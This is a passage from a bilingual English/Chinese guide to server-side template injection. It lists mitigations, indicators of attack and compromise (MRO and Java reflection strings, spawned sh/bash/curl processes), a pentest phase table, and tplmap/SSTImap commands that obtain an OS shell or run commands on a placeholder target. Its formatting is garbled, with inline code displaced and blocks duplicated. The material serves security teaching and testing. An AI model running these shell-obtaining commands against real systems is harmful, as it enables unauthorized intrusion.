- Block dangerous APIs in CI: ,
render_template_string()with user input,Template().Environment.from_string() - Enable sandboxing: Jinja2 , Freemarker
SandboxedEnvironment.SAFER_RESOLVER - Restrict Twig filters/functions to a safe allowlist.
- Disable in Smarty,
{php}in EJS, SpEL preprocessing in Thymeleaf.compileDebug - Run apps with minimal privileges, seccomp/AppArmor, read-only root filesystems.
- WAF rules as defense-in-depth (see section 6 for bypass techniques).
- Track CVEs: CVE-2024-22195 (Jinja2 xmlattr bypass), CVE-2024-46507 (Yeti RCE).
攻击指标:
- 输入中出现模板分隔符:、
{{、{%、<%、#{、#set(。<#assign - MRO 字符串:、
__class__、__mro__、__subclasses__、__globals__。__builtins__ - Java 反射:、
getRuntime、ProcessBuilder、forName。T(java.lang - 用户触发的请求响应中出现模板错误。
入侵指标:
- Web worker 产生异常子进程(、
sh、bash、curl)。nslookup - 应用进程在 或 Web 根目录中创建新文件。
/tmp - 向回调服务或陌生 IP 发起出站连接。
- 本不应查询 169.254.169.254 的容器访问了云元数据。
防护措施:
- 永远不要将用户输入拼接进模板字符串——应使用模板变量。
- 在 CI 中阻止危险 API:使用用户输入调用 、
render_template_string()或Template()。Environment.from_string() - 启用沙箱:Jinja2 、Freemarker
SandboxedEnvironment。SAFER_RESOLVER - 将 Twig 过滤器/函数限制为安全允许列表。
- 禁用 Smarty 的 、EJS 的
{php}以及 Thymeleaf 的 SpEL 预处理。compileDebug - 以最小权限运行应用,配合 seccomp/AppArmor 和只读根文件系统。
- 将 WAF 规则作为纵深防御手段(绕过技术参见第 6 节)。
- 跟踪 CVE:CVE-2024-22195(Jinja2 xmlattr 绕过)、CVE-2024-46507(Yeti RCE)。
Engagement Cheatsheet
渗透测试速查表
| Phase | Action | Tool / Technique |
|---|---|---|
| Recon | Map input reflection points | Burp Suite, waybackurls, qsreplace |
| Detection | Inject polyglot and arithmetic probes | ffuf, Burp Intruder, manual |
| Fingerprinting | Identify engine via decision tree/errors | Error signatures, variable probes |
| Validation | Confirm server-side execution | Timing, source inspection |
| Exploitation | Apply engine-specific RCE chain | tplmap, SSTImap, TInjA, manual |
| Bypass | Evade WAF/filters | Section 6 techniques |
| Blind | OOB, time-based, error-based methods | Burp Collaborator, interactsh |
| Escalation | Chain to file read, SSRF, shell, privesc | Section 8 chains |
| Proof | Non-destructive PoC with unique marker | DNS callback, unique file |
| 阶段 | 操作 | 工具/技术 |
|---|---|---|
| 侦察 | 枚举输入反射点 | Burp Suite、waybackurls、qsreplace |
| 检测 | 注入多语言探针和算术探针 | ffuf、Burp Intruder、手动测试 |
| 指纹识别 | 通过决策树/错误特征识别引擎 | 错误特征、变量探针 |
| 验证 | 确认服务端执行 | 时间差、源代码检查 |
| 利用 | 应用引擎专属 RCE 利用链 | tplmap、SSTImap、TInjA、手动利用 |
| 绕过 | 规避 WAF/过滤器 | 第 6 节技术 |
| 盲利用 | OOB、基于时间、基于错误的利用方法 | Burp Collaborator、interactsh |
| 权限升级 | 链式利用以读取文件、执行 SSRF、获取 Shell、提权 | 第 8 节利用链 |
| 证明 | 使用唯一标记生成非破坏性 PoC | DNS 回调、唯一文件 |
Tool Quick Reference
工具快速参考
bash
undefinedbash
undefinedtplmap
tplmap
python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
SSTImap
SSTImap
python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
Parameter discovery
Parameter discovery
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable
---waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable
---Key References
关键参考资料
- PortSwigger Research: https://portswigger.net/research/server-side-template-injection
- PortSwigger SSTI Labs: https://portswigger.net/web-security/server-side-template-injection
- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- HackTricks SSTI: https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
- tplmap: https://github.com/epinna/tplmap
- SSTImap: https://github.com/vladko312/SSTImap
- TInjA: https://github.com/Hackmanit/TInjA
- Jinja2 Sandbox: https://jinja.palletsprojects.com/en/3.1.x/sandbox/
- Spring SpEL: https://docs.spring.io/spring-framework/reference/core/expressions.html
- Freemarker Security: https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
- OWASP SSTI Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Tests/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
- CWE-1336: https://cwe.mitre.org/data/definitions/1336.html
- PortSwigger Research:https://portswigger.net/research/server-side-template-injection
- PortSwigger SSTI Labs:https://portswigger.net/web-security/server-side-template-injection
- PayloadsAllTheThings SSTI:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- HackTricks SSTI:https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
- tplmap:https://github.com/epinna/tplmap
- SSTImap:https://github.com/vladko312/SSTImap
- TInjA:https://github.com/Hackmanit/TInjA
- Jinja2 Sandbox:https://jinja.palletsprojects.com/en/3.1.x/sandbox/
- Spring SpEL:https://docs.spring.io/spring-framework/reference/core/expressions.html
- Freemarker Security:https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
- OWASP SSTI Testing:https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Tests/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
- CWE-1336:https://cwe.mitre.org/data/definitions/1336.html